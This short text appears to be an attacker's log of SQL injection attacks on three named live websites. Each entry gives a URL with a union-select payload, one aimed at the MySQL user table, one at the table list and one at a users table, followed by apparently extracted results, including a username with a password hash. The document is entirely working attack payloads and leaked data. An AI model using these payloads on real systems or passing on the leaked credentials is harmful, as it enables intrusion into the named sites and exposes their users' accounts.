ПР6
http://nccsdataweb.urban.org/faq/detail.php?linkID=-805+union+select+1,2,user,password,5,6,7,8,9,10,11 ,12,13+from+mysql.user+limit+1,1/*&category=9
jdurnford::1030bc2d72167683

http://www.avalonmicro.ca/products/index.php?Category=-6+union+select+table_name+from+information_schema. tables+--+
user_registration

http://www.amprofon.com.mx/noticias.php?id=-12+union+select+1,2,user,4+from+usuarios--
apcmmexico